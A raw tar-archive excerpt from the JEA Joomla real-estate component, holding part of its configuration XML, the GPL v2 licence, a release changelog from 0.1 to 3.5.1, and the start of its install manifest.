label="COM_JEA_CONFIG_LIST">
		<field
			name="orderby"
			type="list"
			default="date_insert"
			label="COM_JEA_FIELD_PRIMARY_ORDER_LABEL"
			description="COM_JEA_FIELD_PRIMARY_ORDER_DESC"
		>
			<option
value="created">JGLOBAL_FIELD_CREATED_LABEL</option>
			<option
value="price">COM_JEA_FIELD_PRICE_LABEL</option>
			<option
value="living_space">COM_JEA_FIELD_LIVING_SPACE_LABEL</option>
			<option
value="land_space">COM_JEA_FIELD_LAND_SPACE_LABEL</option>
			<option value="hits">JGLOBAL_HITS</option>
			<option
value="ordering">JFIELD_ORDERING_LABEL</option>
		</field>

		<field
			name="orderby_direction"
			type="list"
			default="desc"
			label="COM_JEA_FIELD_PRIMARY_ORDER_DIRECTION_LABEL"
			description="COM_JEA_FIELD_PRIMARY_ORDER_DIRECTION_DESC"
		>
			<option
value="asc">COM_JEA_OPTION_ORDER_ASCENDING</option>
			<option
value="desc">COM_JEA_OPTION_ORDER_DESCENDING</option>
		</field>

		<field
			name="sort_date"
			type="radio"
			default="1"
			label="COM_JEA_FIELD_SORT_BY_DATE_LABEL"
			description="COM_JEA_FIELD_SORT_BY_DATE_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="sort_price"
			type="radio"
			default="1"
			label="COM_JEA_FIELD_SORT_BY_PRICE_LABEL"
			description="COM_JEA_FIELD_SORT_BY_PRICE_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="sort_livingspace"
			type="radio"
			default="0"
			label="COM_JEA_FIELD_SORT_BY_LIVING_SPACE_LABEL"
			description="COM_JEA_FIELD_SORT_BY_LIVING_SPACE_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="sort_landspace"
			type="radio"
			default="0"
			label="COM_JEA_FIELD_SORT_BY_LAND_SPACE_LABEL"
			description="COM_JEA_FIELD_SORT_BY_LAND_SPACE_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="sort_hits"
			type="radio"
			default="1"
			label="COM_JEA_FIELD_SORT_BY_POPULARITY_LABEL"
			description="COM_JEA_FIELD_SORT_BY_POPULARITY_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="sort_towns"
			type="radio"
			default="0"
			label="COM_JEA_FIELD_SORT_BY_TOWN_LABEL"
			description="COM_JEA_FIELD_SORT_BY_TOWN_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="sort_departements"
			type="radio"
			default="0"
			label="COM_JEA_FIELD_SORT_BY_DEPARTMENT_LABEL"
			description="COM_JEA_FIELD_SORT_BY_DEPARTMENT_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="sort_areas"
			type="radio"
			default="0"
			label="COM_JEA_FIELD_SORT_BY_AREA_LABEL"
			description="COM_JEA_FIELD_SORT_BY_AREA_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="list_limit"
			type="text"
			size="3"
			default="10"
			label="JGLOBAL_NUMBER_ITEMS_LIST_LABEL"
			description="JGLOBAL_NUMBER_ITEMS_LIST_DESC"/>
	</fieldset>

	<fieldset name="property"
label="COM_JEA_CONFIG_PROPERTY">
		<field
			name="images_layout"
			type="list"
			default="magnificpopup"
			label="COM_JEA_FIELD_IMAGES_LAYOUT_LABEL"
			description="COM_JEA_FIELD_IMAGES_LAYOUT_DESC"
		>
			<option value="gallery">Classical</option>
			<option value="squeezebox">SqueezeBox</option>
			<option value="magnificpopup">Magnific
popup</option>
		</field>

		<field
			name="gallery_orientation"
			type="list"
			default="vertical"
			label="COM_JEA_FIELD_GALLERY_ORIENTATION_LABEL"
			description="COM_JEA_FIELD_GALLERY_ORIENTATION_DESC"
		>
			<option value="horizontal">Horizontal</option>
			<option value="vertical">Vertical</option>
		</field>

		<field
			name="show_print_icon"
			type="radio"
			default="1"
			label="COM_JEA_FIELD_PRINT_ICON_LABEL"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_creation_date"
			type="radio"
			default="1"
			label="COM_JEA_FIELD_SHOW_CREATION_DATE_LABEL"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_googlemap"
			type="radio"
			default="0"
			label="COM_JEA_FIELD_GOOGLE_MAP_LABEL"
			description="COM_JEA_FIELD_GOOGLE_MAP_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="googlemap_api_key"
			type="text"
			default=""
			label="COM_JEA_FIELD_GOOGLE_MAP_API_KEY_LABEL"
			description="COM_JEA_FIELD_GOOGLE_MAP_API_KEY_DESC"/>
		<field
			type="note"
			description="COM_JEA_FIELD_GOOGLE_MAP_API_KEY_MORE_INFO"/>

		<field
			name="show_contactform"
			type="radio"
			default="1"
			label="COM_JEA_FIELD_CONTACT_FORM_LABEL"
			description="COM_JEA_FIELD_CONTACT_FORM_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="default_mail"
			type="text"
			default=""
			label="COM_JEA_FIELD_DEFAULT_RECIPTIENT_LABEL"
			description="COM_JEA_FIELD_DEFAULT_RECIPTIENT_DESC"/>
		<field
			name="send_form_to_agent"
			type="radio"
			default="0"
			label="COM_JEA_FIELD_SEND_MAIL_TO_AUTHOR_LABEL"
			description="COM_JEA_FIELD_SEND_MAIL_TO_AUTHOR_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field
			name="use_captcha"
			type="radio"
			default="1"
			label="COM_JEA_FIELD_USE_CAPTCHA_LABEL"
			description="COM_JEA_FIELD_USE_CAPTCHA_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
	</fieldset>

	<fieldset name="pictures"
label="COM_JEA_CONFIG_PICTURES">
		<field
			name="jpg_quality"
			type="text"
			size="3"
			default="90"
			label="COM_JEA_FIELD_THUMB_QUALITY_LABEL"
			description="COM_JEA_FIELD_THUMB_QUALITY_DESC"
		/>

		<field
			name="thumb_min_width"
			type="text"
			size="3"
			default="120"
			label="COM_JEA_FIELD_THUMB_MIN_WIDTH_LABEL"
			description="COM_JEA_FIELD_THUMB_MIN_WIDTH_DESC"
		/>

		<field
			name="thumb_min_height"
			type="text"
			size="3"
			default="90"
			label="COM_JEA_FIELD_THUMB_MIN_HEIGHT_LABEL"
			description="COM_JEA_FIELD_THUMB_MIN_HEIGHT_DESC"
		/>

		<field
			name="thumb_medium_width"
			type="text"
			size="3"
			default="400"
			label="COM_JEA_FIELD_THUMB_MEDIUM_WIDTH_LABEL"
			description="COM_JEA_FIELD_THUMB_MEDIUM_WIDTH_DESC"
		/>

		<field
			name="thumb_medium_height"
			type="text"
			size="3"
			default="400"
			label="COM_JEA_FIELD_THUMB_MEDIUM_HEIGHT_LABEL"
			description="COM_JEA_FIELD_THUMB_MEDIUM_HEIGHT_DESC"
		/>

		<field
			name="crop_thumbnails"
			type="radio"
			default="0"
			label="COM_JEA_FIELD_CROP_THUMBNAILS_LABEL"
			description="COM_JEA_FIELD_CROP_THUMBNAILS_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field
			name="img_upload_number"
			type="text"
			size="3"
			default="3"
			label="COM_JEA_FIELD_IMAGES_UPLOAD_NUMBER_LABEL"
			description="COM_JEA_FIELD_IMAGES_UPLOAD_NUMBER_DESC"
		/>
	</fieldset>

	<fieldset name="permissions"
label="JCONFIG_PERMISSIONS_LABEL"
description="JCONFIG_PERMISSIONS_DESC">
		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			class="inputbox"
			validate="rules"
			filter="rules"
			component="com_jea"
			section="component"
		/>
	</fieldset>
</config>
LICENCE.txt000064400000042627151165726500006372 0ustar00GNU GENERAL PUBLIC
LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this
License.NEWS.txt000064400000025111151165726520006073 0ustar00Joomla Estate
Agency          News
==================================

RELEASE 3.5.1 / 02-2020=
# Fix date modified when saving property
# Fix property type when saving property
# Fix JeaUpload not found in frontend
# Fix warning in gateway

RELEASE 3.5.0 / 01-2020=
# Include Google map scripts using https
# Remove white spaces in images names
^ Backend enhancements
- Remove Mootools dependencies in frontend
+ Convert frontend scripts with Jquery
^ Ability to override medias (css, js) in template
+ Add Magnific popup gallery option in property view
^ CSS enhancements

RELEASE 3.4.3 / 12-2019=
# Fix gateways bugs
# Fix JEA gateway (import images)
# Fix Recaptcha

RELEASE 3.4.2 / 07-2017=
# Fix gateways bugs
# Fix thumbnails generation

RELEASE 3.4.1 / 05-2017=
# Fix gateways bugs

RELEASE 3.4 / 05-2017=
- Remove Joomla 2.5 support
# Fix pagination bug again
# Fix properties filters
+ Import/Export new implementation
^ Update translations
^ The component follows now the Joomla Coding Standards
# Fix Google map issues

RELEASE 3.3 / 06-2016=
# Fix pagination bug
^ Add a callback to save images
^ Modify how onBeforeSendContactForm is triggered
# Fix upload error on Joomla 3.5
# Fix search order and order direction

RELEASE 3.2 / 08-2014=
# Avoid that Joomla 3.x remove the end hyphen in html select lists
# Fix bug in getUserStateFromRequest method when GET method is used in
search form
^ Add the DPE in the frontend edit form
# Fix default option values in search.js
# Add slashes to Google Map marker's label
^ Add the onBeforeSearch event in the backend
# Fix js bug in searchmap : Since MooTools 1.3 the function $$ does not
accept multiple collections or multiple strings as arguments.
# Fix memory overconsumption with thumbnails generation [#33258]

RELEASE 3.1 / 01-2014=
^ Adding Joomla 3.x compatibility
^ Add search by ID in administrator
# Fix TableProperties for bridge compatibility
# Sort property types in AJAX response
# Fix JS issue with filter on transaction type in geoSearch.js
^ Add two plugin events : onBeforeSaveProperty and onAfterSaveProperty
^ Add a geolocalization plugin
^ Add two orientation options : East-West and North-South
# Fix some issues in import process
# Fix ordering issues

RELEASE 2.30 / 05-2013=
# Fix vertical gallery height
# Fix missing alias in import model
# Fix missing Itemid and properties thumbnails in geolocalized map
# Fix missing Itemid in geolocalized map when SEF is activated in global
configuration
# Fix french translation
# Fix javascript bug in  IE versions < 9  in search.js
# Fix wrong parameter in slider module
^ Add new event onBeforeLoadProperty
+ Add Joomfish plugin
# Fix Wrong integer type used for department_id in #__jea_properties table
# Fix two bugs in propertyInterface.php and add orientation
^ Update JEA slider module and slideitmoo.js to have a continuous slide
effect
# Fix toggle publish / unpublish state in administrator properties view

RELEASE 2.21 / 01-2013=
# Fix issue on property list default order set in params
# Fix the upgrade process if the component version is 2.0
# Fix pagination bug on list limit

=RELEASE 2.2 / 01-2013=
+ Add access right management for each property
+ Add a published start / end date for each property
+ Add new parameter "Gallery orientation" to choose between
horizontal or vertical layout in property detail.
^ Change JEA logo
^ Backend : add the configuration button in each tab
# Backend : Fix sort by featured properties
# Fix upload errors not displayed when saving a property
^ Activate relationship between departements/towns/area by default
# Fix assets issue when we duplicate properties
# Fix missing and misspelling translations
# Assign the list limit based on the JEA configuration.
# Fix property hit increment
# Fix issue on list limit with previous and next links in property model.
# Fix page title wrong parameter
^ Add redirect behavior when user is not connected on property form
# Load the Mootools More framework if not already inclued
# Fix issue Google Map not showing with negative values in latitude /
longitude
# Fix issue with search reset
# Fix search issue on orientation filter


=RELEASE 2.1 / 10-2012=
# Fix issue on preselected transaction type in search forms
# Fix Next & Prev not translated in Squeezebox
# Fix missing south orientation and add update schema to the component
# Fix missing hot water type in property model
# Fix IE7 bug with the squeezebox
# Fix inversion in latitude / longitude label in the property form
# Fix missing translations
# Fix missing room parameter in search forms
# Fix Towns not fetched in order


=RELEASE 2.0 / 04-2012=

NOTE : This release works only with Joomla! 2.5.x
What's change :

⋅ Global code rewritting
⋅ Joomfish support removed and using native Joomla language management
⋅ Add new columns in property table : rate_frequency, transaction_type,
bedrooms, floors_number, orientation, modified
. More optimized property gallery management : the thumbnails are generated
on the fly
⋅ Add third party bridge import interface
⋅ Using native Joomla captcha support
⋅ Keep the user search in session
⋅ Remove plugin entry "onInitTableProperty" because table
columns are now automatically loaded
⋅ Rename plugin entry "onBeforeEndPane" to
"onBeforeEndPanels"
⋅ Rename plugin entry "onAfterStartPane" to
"onAfterStartPanels"
⋅ Rename plugin entry "onBeforeSearchQuery" to
"onBeforeSearch"
⋅ Add plugin entry "onBeforeSendContactForm"
⋅ Add plugin entry "onAfterLoadPropertyForm"


=RELEASE 1.1 / 07-2011=

# Fix published state & datetime at new property creation
+ Add feed view
+ Add geolocalization management with google map API V3 (no need API key)
^ Make default order by id ASC in backend
# Fix forgotten word in language files
# Fix bug on deleting secondaries images in frontend
^ Search request optimization
+ Geolocalized Search results on Google map
+ Add deposit field for properties to rent
^ Optionnal relationship between departments / towns / areas 
# Fix bug when trying to send mail after a search with the property contact
form
^ Multi-upload for secondaries images
# Fix form reset when there is an error (for new properties)
+ CSV import / export implementation to features lists
# Fix bug [#22784] : Renting/Selling filter renders a blank manage page if
option is selected without any properties
# Limit cross request forgery by adding token checking on contact form
submission and By adding captcha plugin support.
+ Add JEA search plugin (made by David Lozano)
+ Add Captcha plugin for JEA
+ Add 8 plugins events entries : onBeforeEndPane, 
                                 onAfterStartPane, 
                                 onBeforeShowDescription, 
                                 onAfterShowDescription, 
                                 onBeforeSaveProperty, 
                                 onAfterSaveProperty, 
                                 onInitTableProperty,
                                 onBeforeSearchQuery
^ Add relationship between towns and departments on the backend filtering
select lists. 
  This should improve performances when there is massive load of data in
the towns select list.
# Fix wrong cols name in the orderby param in Config.xml
^ Save sorting state in backend and allow to reorder items only if the
sorting state is 'ordering ASC'
^ Module jea_search and module jea_emphasis update

=RELEASE 1.0 / 04-2010=
^ Update search layout and mod_jea_search with more configuration options
^ Remember the last slider opened in backend edit property form
+ Add new gallery layout with Squeezebox
+ Add more configuration options
^ Sort lists improvements in frontend
+ Add Hit counter on properties
- Remove sh40SEF plugin support
+ Add native SEF routing
+ Add title and description management for properties images (IPTC infos)
+ Add property title and alias (for SEF)
+ Ajaxify dropdown lists (departments, towns, areas) in backend property
form
+ Add relation between departments,towns and areas tables
# Escape address for Google map
# Fix charset in mod_jea_emphasis
+ Add height configuration option for thumbnails generation
+ Add height configuration option for preview picture generation
+ Add crop configuration option for thumbnails generation
^ Natural sort of towns / departments in search listings
# Fix XSS issue in properties contact form

=RELEASE 0.9 / 10-2009=
# Fix bug in properties view.pdf if PHP flag "allow_url_fopen" is
set to 0
+ added possibility to clone properties in backend
# Fix bug with Previous and Next when some features are selected in menu
^ mod_jea_emphasis Joomfish compatibility

=RELEASE 0.8 / 03-2009=

-Fix bug in properties ordering
-Allow specials characters in ref field
-Fix issue about advantages list limited at 20 items
-Add Joomfish areas contentElement
-Some language corrections
-Fix missing Mootools declaration for google map
-Fix PDF issue when property has no picture
-Fix Joomfish missing translations
-Fix bug when adding new property in front

=RELEASE 0.7 / 01-2009=
-Add Google map geolocalisation
-Add Pdf view to properties detail
-Fix bug on room min in advanced search
-Fix translations on administrator component menu
-Fix Missing translations
-Fix various bugs on search results
-Fix pagination bug

=RELEASE 0.6 / 12-2008=
-Fix bug on search pagination
-Add english translation
-Add sh404SEF plugin (site/sef_ext/com_jea)
-Add Joomfish contentElements (admin/joomfish)
-Default email to contact form different than administrator email in
component parameters
-Jea Agents could receive contact form in component parameters

=RELEASE 0.5 / 12-2008=
-Fix bug on image deletion (redirect on blank page)
-Fix bug #10490 Error message when mail function cannot send mail
-Fix bug #13089 on module emphasis (break links)
-Users can manage properties in front-office

=RELEASE 0.4 / 06-2008=
0.4 beta (bugfixes release)
- Fix include path for jea library
- Refix bug #10973 -> Warning: cannot yet handle MBCS in
html_entity_decode()
- Move /components/com_jea/upload to /images/com_jea
- Move /components/com_jea/medias to /medias/com_jea
- Refactor entire code to be more Joomla compliant
- Ordering properties columns in admin
- Checked-out on properties (Avoid conflict between users)
- Fix bug when search reference in administration.
- Fix Ordering bug after search in front

=RELEASE 0.3 / 05-2008=
-fix search bugs
-fix bug on menu parameters
-fix bug [#10973] Warning: cannot yet handle MBCS in html_entity_decode()
with PHP4
-fix bug [#10490] Error message when mail function cannot send mail

=RELEASE 0.2 / 04-2008=
-Fix bug on list limit in front
-Search engine implementation
-Language update
-Refactor some code
-Contact form implementation
-Breadcrumb and title supports
-AJAX search support

=RELEASE 0.1 / 26-mar-2008=
- Initial public code dropjea.xml000064400000004370151165726520006043
0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" method="upgrade">
	<name>jea</name>
	<author>Sylvain Philip</author>
	<creationDate>jan 2020</creationDate>
	<authorEmail>contact@sphilip.com</authorEmail>
	<authorUrl>www.sphilip.com</authorUrl>
	<copyright>Copyright (C) PHILIP Sylvain. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or
later</license>
	<version>4.0.6</version>
	<description>Easy real estate Ads management</description>

	<namespace
path="/">sphilip\Component\JEA</namespace>

	<!-- Install / Uninstall Database Section -->
	<install>
		<sql>
			<file charset="utf8"
driver="mysql">sql/install.mysql.utf8.sql</file>
		</sql>
	</install>
	<uninstall>
		<sql>
			<file charset="utf8"
driver="mysql">sql/uninstall.mysql.utf8.sql</file>
		</sql>
	</uninstall>

	<!-- Frontend -->
	<files folder="site">
		<folder>controllers</folder>
		<folder>helpers</folder>
		<folder>language</folder>
		<folder>models</folder>
		<folder>views</folder>
		<filename>jea.php</filename>
		<filename>router.php</filename>
	</files>

	<!-- Media files -->
	<media destination="com_jea" folder="media" >
		<folder>css</folder>
		<folder>images</folder>
		<folder>js</folder>
	</media>

	<!-- Backend -->
